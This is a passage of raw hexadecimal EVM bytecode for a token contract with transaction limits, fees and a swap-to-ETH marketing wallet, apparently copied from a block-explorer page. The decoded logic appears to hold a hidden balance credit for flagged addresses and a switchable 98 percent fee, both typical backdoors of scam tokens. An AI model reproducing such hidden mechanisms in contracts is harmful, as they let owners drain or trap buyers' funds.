0fd5b5061025a610847565b6040516102679190612303565b60405180910390f35b34801561027c57600080fd5b5061028561086d565b604051610292919061232d565b60405180910390f35b3480156102a757600080fd5b506102c260048036038101906102bd9190612348565b610877565b6040516102cf9190612289565b60405180910390f35b3480156102e457600080fd5b506102ed610897565b6040516102fa9190612289565b60405180910390f35b34801561030f57600080fd5b5061032a60048036038101906103259190612375565b6108aa565b6040516103379190612289565b60405180910390f35b34801561034c57600080fd5b5061036760048036038101906103629190612348565b610983565b6040516103749190612289565b60405180910390f35b34801561038957600080fd5b506103926109a3565b60405161039f91906123e4565b60405180910390f35b3480156103b457600080fd5b506103cf60048036038101906103ca919061222e565b6109ba565b6040516103dc9190612289565b60405180910390f35b3480156103f157600080fd5b506103fa610a6d565b604051610407919061240e565b60405180910390f35b34801561041c57600080fd5b50610425610a93565b6040516104329190612289565b60405180910390f35b34801561044757600080fd5b50610462600480360381019061045d9190612348565b610aa6565b60405161046f9190612289565b60405180910390f35b34801561048457600080fd5b5061048d610ac6565b60405161049a919061232d565b60405180910390f35b3480156104af57600080fd5b506104ca60048036038101906104c59190612348565b610acc565b6040516104d7919061232d565b60405180910390f35b3480156104ec57600080fd5b506104f5610b15565b005b34801561050357600080fd5b5061050c610c4f565b604051610519919061232d565b60405180910390f35b34801561052e57600080fd5b50610537610c55565b604051610544919061232d565b60405180910390f35b34801561055957600080fd5b50610562610c5b565b60405161056f919061240e565b60405180910390f35b34801561058457600080fd5b5061058d610c84565b60405161059a9190612173565b60405180910390f35b3480156105af57600080fd5b506105b8610d16565b6040516105c5919061244a565b60405180910390f35b3480156105da57600080fd5b506105f560048036038101906105f0919061222e565b610d3c565b6040516106029190612289565b60405180910390f35b34801561061757600080fd5b50610632600480360381019061062d919061222e565b610e09565b60405161063f9190612289565b60405180910390f35b34801561065457600080fd5b5061066f600480360381019061066a9190612348565b610e27565b60405161067c9190612289565b60405180910390f35b34801561069157600080fd5b5061069a610e47565b6040516106a7919061232d565b60405180910390f35b3480156106bc57600080fd5b506106c5610e4d565b6040516106d29190612173565b60405180910390f35b3480156106e757600080fd5b506106f0610edb565b6040516106fd919061232d565b60405180910390f35b34801561071257600080fd5b5061071b610ee1565b6040516107289190612173565b60405180910390f35b34801561073d57600080fd5b5061075860048036038101906107539190612465565b610f6f565b604051610765919061232d565b60405180910390f35b34801561077a57600080fd5b5061079560048036038101906107909190612348565b610ff6565b005b6060600880546107a6906124d4565b80601f01602080910402602001604051908101604052809291908181526020018280546107d2906124d4565b801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b5050505050905090565b600061083d6108366111cb565b84846111d3565b6001905092915050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60056020528060005260406000206000915054906101000a900460ff1681565b601960149054906101000a900460ff1681565b60006108b7848484611367565b610978846108c36111cb565b61097385604051806060016040528060288152602001612bb760289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109296111cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d19092919063ffffffff16565b6111d3565b600190509392505050565b60046020528060005260406000206000915054906101000a900460ff1681565b6000600a60009054906101000a900460ff16905090565b6000610a636109c76111cb565b84610a5e85600260006109d86111cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192690919063ffffffff16565b6111d3565b6001905092915050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601960159054906101000a900460ff1681565b60066020528060005260406000206000915054906101000a900460ff1681565b600f5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b1d6111cb565b73ffffffffffffffffffffffffffffffffffffffff16610b3b610c5b565b73ffffffffffffffffffffffffffffffffffffffff1614610b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8890612552565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135481565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610c93906124d4565b80601f0160208091040260200160405190810160405280929190818152602001828054610cbf906124d4565b8015610d0c5780601f10610ce157610100808354040283529160200191610d0c565b820191906000526020600020905b815481529060010190602001808311610cef57829003601f168201915b5050505050905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610dff610d496111cb565b84610dfa85604051806060016040528060258152602001612bdf6025913960026000610d736111cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d19092919063ffffffff16565b6111d3565b6001905092915050565b6000610e1d610e166111cb565b8484611367565b6001905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b600b5481565b60098054610e5a906124d4565b80601f0160208091040260200160405190810160405280929190818152602001828054610e86906124d4565b8015610ed35780601f10610ea857610100808354040283529160200191610ed3565b820191906000526020600020905b815481529060010190602001808311610eb657829003601f168201915b505050505081565b600e5481565b60088054610eee906124d4565b80601f0160208091040260200160405190810160405280929190818152602001828054610f1a906124d4565b8015610f675780601f10610f3c57610100808354040283529160200191610f67565b820191906000526020600020905b815481529060010190602001808311610f4a57829003601f168201915b505050505081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ffe6111cb565b73ffffffffffffffffffffffffffffffffffffffff1661101c610c5b565b73ffffffffffffffffffffffffffffffffffffffff1614611072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106990612552565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d9906125e4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081836111ad9190612633565b905092915050565b600081836111c391906126bc565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123d5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61127c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127390612739565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161135a919061232d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ce906127cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143e9061285d565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114eb5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561153657601554811115611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c906128ef565b60405180910390fd5b5b600c60019054906101000a900460ff1660ff16600c60009054906101000a900460ff1660ff16101580156115775750601960149054906101000a900460ff16155b80156115d15750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115e95750601960159054906101000a900460ff165b1561163c576000600c60006101000a81548160ff021916908360ff160217905550600061161530610acc565b90506015548111156116275760155490505b600081111561163a576116398161193c565b5b505b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166116b7576013546116ab8261169d85610acc565b61192690919063ffffffff16565b11156116b657600080fd5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061175e5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156117f95760009050600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156117d257506001601960169054906101000a900460ff1660ff16105b156117f4576001601960166101000a81548160ff021916908360ff1602179055505b6118bf565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561185d57600e54600d819055506118be565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118bd57600f54600d819055505b5b5b6118cb848484846119b0565b50505050565b6000838311158290611919576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119109190612173565b60405180910390fd5b5082840390509392505050565b60008183611934919061290f565b905092915050565b6001601960146101000a81548160ff02191690831515021790555061196081611a1a565b6000479050611991600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611c5d565b506000601960146101000a81548160ff02191690831515021790555050565b806119c2576119bd611ca8565b6119fb565b600c600081819054906101000a900460ff16809291906119e190612965565b91906101000a81548160ff021916908360ff160217905550505b611a06848484611d0a565b80611a1457611a13612024565b5b50505050565b6000600267ffffffffffffffff811115611a3757611a3661298f565b5b604051908082528060200260200182016040528015611a655781602001602082028036833780820191505090505b5090503081600081518110611a7d57611a7c6129be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b489190612a02565b81600181518110611b5c57611b5b6129be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bc330601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111d3565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c27959493929190612b28565b600060405180830381600087803b158015611c4157600080fd5b505af1158015611c55573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ca3573d6000803e3d6000fd5b505050565b6000600d54148015611cbc57506000600e54145b8015611cca57506000600f54145b15611cd457611d08565b600e54601181905550600f54601281905550600d546010819055506000600e819055506000600f819055506000600d819055505b565b600080611d168361207f565b91509150611d6c83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c490919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611e1d9190612b82565b611e279190612b82565b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e81576000611e83565b805b611ed584600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192690919063ffffffff16565b611edf919061290f565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f7482600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612014919061232d565b60405180910390a3505050505050565b601054600d81905550601154600e81905550604051806040016040528060125481526020016062815250601960169054906101000a900460ff1660ff1660028110612072576120716129be565b5b6020020151600f81905550565b60008060006064600d54856120949190612633565b61209e91906126bc565b905060006120b582866120c490919063ffffffff16565b90508082935093505050915091565b600081836120d29190612b82565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121145780820151818401526020810190506120f9565b83811115612123576000848401525b50505050565b6000601f19601f8301169050919050565b6000612145826120da565b61214f81856120e5565b935061215f8185602086016120f6565b61216881612129565b840191505092915050565b6000602082019050818103600083015261218d818461213a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121c58261219a565b9050919050565b6121d5816121ba565b81146121e057600080fd5b50565b6000813590506121f2816121cc565b92915050565b6000819050919050565b61220b816121f8565b811461221657600080fd5b50565b60008135905061222881612202565b92915050565b6000806040838503121561224557612244612195565b5b6000612253858286016121e3565b925050602061226485828601612219565b9150509250929050565b60008115159050919050565b6122838161226e565b82525050565b600060208201905061229e600083018461227a565b92915050565b6000819050919050565b60006122c96122c46122bf8461219a565b6122a4565b61219a565b9050919050565b60006122db826122ae565b9050919050565b60006122ed826122d0565b9050919050565b6122fd816122e2565b82525050565b600060208201905061231860008301846122f4565b92915050565b612327816121f8565b82525050565b6000602082019050612342600083018461231e565b92915050565b60006020828403121561235e5761235d612195565b5b600061236c848285016121e3565b91505092915050565b60008060006060848603121561238e5761238d612195565b5b600061239c868287016121e3565b93505060206123ad868287016121e3565b92505060406123be86828701612219565b9150509250925092565b600060ff82169050919050565b6123de816123c8565b82525050565b60006020820190506123f960008301846123d5565b92915050565b612408816121ba565b82525050565b600060208201905061242360008301846123ff565b92915050565b60006124348261219a565b9050919050565b61244481612429565b82525050565b600060208201905061245f600083018461243b565b92915050565b6000806040838503121561247c5761247b612195565b5b600061248a858286016121e3565b925050602061249b858286016121e3565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124ec57607f821691505b60208210811415612500576124ff6124a5565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061253c6020836120e5565b915061254782612506565b602082019050919050565b6000602082019050818103600083015261256b8161252f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006125ce6026836120e5565b91506125d982612572565b604082019050919050565b600060208201905081810360008301526125fd816125c1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061263e826121f8565b9150612649836121f8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561268257612681612604565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006126c7826121f8565b91506126d2836121f8565b9250826126e2576126e161268d565b5b828204905092915050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b60006127236011836120e5565b915061272e826126ed565b602082019050919050565b6000602082019050818103600083015261275281612716565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006127b56025836120e5565b91506127c082612759565b604082019050919050565b600060208201905081810360008301526127e4816127a8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128476023836120e5565b9150612852826127eb565b604082019050919050565b600060208201905081810360008301526128768161283a565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b60006128d96028836120e5565b91506128e48261287d565b604082019050919050565b60006020820190508181036000830152612908816128cc565b9050919050565b600061291a826121f8565b9150612925836121f8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561295a57612959612604565b5b828201905092915050565b6000612970826123c8565b915060ff82141561298457612983612604565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506129fc816121cc565b92915050565b600060208284031215612a1857612a17612195565b5b6000612a26848285016129ed565b91505092915050565b6000819050919050565b6000612a54612a4f612a4a84612a2f565b6122a4565b6121f8565b9050919050565b612a6481612a39565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612a9f816121ba565b82525050565b6000612ab18383612a96565b60208301905092915050565b6000602082019050919050565b6000612ad582612a6a565b612adf8185612a75565b9350612aea83612a86565b8060005b83811015612b1b578151612b028882612aa5565b9750612b0d83612abd565b925050600181019050612aee565b5085935050505092915050565b600060a082019050612b3d600083018861231e565b612b4a6020830187612a5b565b8181036040830152612b5c8186612aca565b9050612b6b60608301856123ff565b612b78608083018461231e565b9695505050505050565b6000612b8d826121f8565b9150612b98836121f8565b925082821015612bab57612baa612604565b5b82820390509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a6fe1c5d59d42ef3f2f61754fd2c46e64d79bcc4c889e643d7e5c888241d715664736f6c634300080b0033

Deployed Bytecode

0x6080604052600436106101d15760003560e01c8063715018a6116100f7578063a9059cbb11610095578063b4d3cf0b11610064578063b4d3cf0b146106db578063d28d885214610706578063dd62ed3e14610731578063f2fde38b1461076e576101d8565b8063a9059cbb1461060b578063ae038a6c14610648578063af465a2714610685578063b09f1266146106b0576101d8565b80638da5cb5b116100d15780638da5cb5b1461054d57806395d89b41146105785780639c00921d146105a3578063a457c2d7146105ce576101d8565b8063715018a6146104e057806378109e54146104f75780637d1db4a514610522576101d8565b806324f6b9291161016f5780634a74bb021161013e5780634a74bb0214610410578063536b7a6e1461043b5780635dc62fd61461047857806370a08231146104a3576101d8565b806324f6b92914610340578063313ce5671461037d57806339509351146103a857806349bd5a5e146103e5576101d8565b806318160ddd116101ab57806318160ddd146102705780631aba0e0e1461029b578063220f6696146102d857806323b872dd14610303576101d8565b806306fdde03146101dd578063095ea7b3146102085780631694505e14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610797565b6040516101ff9190612173565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a919061222e565b610829565b60405161023c9190612289565b60405180910390f35b34801561025157600080fd5b5061025a610847565b6040516102679190612303565b60405180910390f35b34801561027c57600080fd5b5061028561086d565b604051610292919061232d565b60405180910390f35b3480156102a757600080fd5b506102c260048036038101906102bd9190612348565b610877565b6040516102cf9190612289565b60405180910390f35b3480156102e457600080fd5b506102ed610897565b6040516102fa9190612289565b60405180910390f35b34801561030f57600080fd5b5061032a60048036038101906103259190612375565b6108aa565b6040516103379190612289565b60405180910390f35b34801561034c57600080fd5b5061036760048036038101906103629190612348565b610983565b6040516103749190612289565b60405180910390f35b34801561038957600080fd5b506103926109a3565b60405161039f91906123e4565b60405180910390f35b3480156103b457600080fd5b506103cf60048036038101906103ca919061222e565b6109ba565b6040516103dc9190612289565b60405180910390f35b3480156103f157600080fd5b506103fa610a6d565b604051610407919061240e565b60405180910390f35b34801561041c57600080fd5b50610425610a93565b6040516104329190612289565b60405180910390f35b34801561044757600080fd5b50610462600480360381019061045d9190612348565b610aa6565b60405161046f9190612289565b60405180910390f35b34801561048457600080fd5b5061048d610ac6565b60405161049a919061232d565b60405180910390f35b3480156104af57600080fd5b506104ca60048036038101906104c59190612348565b610acc565b6040516104d7919061232d565b60405180910390f35b3480156104ec57600080fd5b506104f5610b15565b005b34801561050357600080fd5b5061050c610c4f565b604051610519919061232d565b60405180910390f35b34801561052e57600080fd5b50610537610c55565b604051610544919061232d565b60405180910390f35b34801561055957600080fd5b50610562610c5b565b60405161056f919061240e565b60405180910390f35b34801561058457600080fd5b5061058d610c84565b60405161059a9190612173565b60405180910390f35b3480156105af57600080fd5b506105b8610d16565b6040516105c5919061244a565b60405180910390f35b3480156105da57600080fd5b506105f560048036038101906105f0919061222e565b610d3c565b6040516106029190612289565b60405180910390f35b34801561061757600080fd5b50610632600480360381019061062d919061222e565b610e09565b60405161063f9190612289565b60405180910390f35b34801561065457600080fd5b5061066f600480360381019061066a9190612348565b610e27565b60405161067c9190612289565b60405180910390f35b34801561069157600080fd5b5061069a610e47565b6040516106a7919061232d565b60405180910390f35b3480156106bc57600080fd5b506106c5610e4d565b6040516106d29190612173565b60405180910390f35b3480156106e757600080fd5b506106f0610edb565b6040516106fd919061232d565b60405180910390f35b34801561071257600080fd5b5061071b610ee1565b6040516107289190612173565b60405180910390f35b34801561073d57600080fd5b5061075860048036038101906107539190612465565b610f6f565b604051610765919061232d565b60405180910390f35b34801561077a57600080fd5b5061079560048036038101906107909190612348565b610ff6565b005b6060600880546107a6906124d4565b80601f01602080910402602001604051908101604052809291908181526020018280546107d2906124d4565b801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b5050505050905090565b600061083d6108366111cb565b84846111d3565b6001905092915050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60056020528060005260406000206000915054906101000a900460ff1681565b601960149054906101000a900460ff1681565b60006108b7848484611367565b610978846108c36111cb565b61097385604051806060016040528060288152602001612bb760289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109296111cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d19092919063ffffffff16565b6111d3565b600190509392505050565b60046020528060005260406000206000915054906101000a900460ff1681565b6000600a60009054906101000a900460ff16905090565b6000610a636109c76111cb565b84610a5e85600260006109d86111cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192690919063ffffffff16565b6111d3565b6001905092915050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601960159054906101000a900460ff1681565b60066020528060005260406000206000915054906101000a900460ff1681565b600f5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b1d6111cb565b73ffffffffffffffffffffffffffffffffffffffff16610b3b610c5b565b73ffffffffffffffffffffffffffffffffffffffff1614610b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8890612552565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135481565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610c93906124d4565b80601f0160208091040260200160405190810160405280929190818152602001828054610cbf906124d4565b8015610d0c5780601f10610ce157610100808354040283529160200191610d0c565b820191906000526020600020905b815481529060010190602001808311610cef57829003601f168201915b5050505050905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610dff610d496111cb565b84610dfa85604051806060016040528060258152602001612bdf6025913960026000610d736111cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d19092919063ffffffff16565b6111d3565b6001905092915050565b6000610e1d610e166111cb565b8484611367565b6001905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b600b5481565b60098054610e5a906124d4565b80601f0160208091040260200160405190810160405280929190818152602001828054610e86906124d4565b8015610ed35780601f10610ea857610100808354040283529160200191610ed3565b820191906000526020600020905b815481529060010190602001808311610eb657829003601f168201915b505050505081565b600e5481565b60088054610eee906124d4565b80601f0160208091040260200160405190810160405280929190818152602001828054610f1a906124d4565b8015610f675780601f10610f3c57610100808354040283529160200191610f67565b820191906000526020600020905b815481529060010190602001808311610f4a57829003601f168201915b505050505081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ffe6111cb565b73ffffffffffffffffffffffffffffffffffffffff1661101c610c5b565b73ffffffffffffffffffffffffffffffffffffffff1614611072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106990612552565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d9906125e4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081836111ad9190612633565b905092915050565b600081836111c391906126bc565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123d5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61127c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127390612739565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161135a919061232d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ce906127cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143e9061285d565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114eb5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561153657601554811115611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c906128ef565b60405180910390fd5b5b600c60019054906101000a900460ff1660ff16600c60009054906101000a900460ff1660ff16101580156115775750601960149054906101000a900460ff16155b80156115d15750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115e95750601960159054906101000a900460ff165b1561163c576000600c60006101000a81548160ff021916908360ff160217905550600061161530610acc565b90506015548111156116275760155490505b600081111561163a576116398161193c565b5b505b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166116b7576013546116ab8261169d85610acc565b61192690919063ffffffff16565b11156116b657600080fd5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061175e5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460f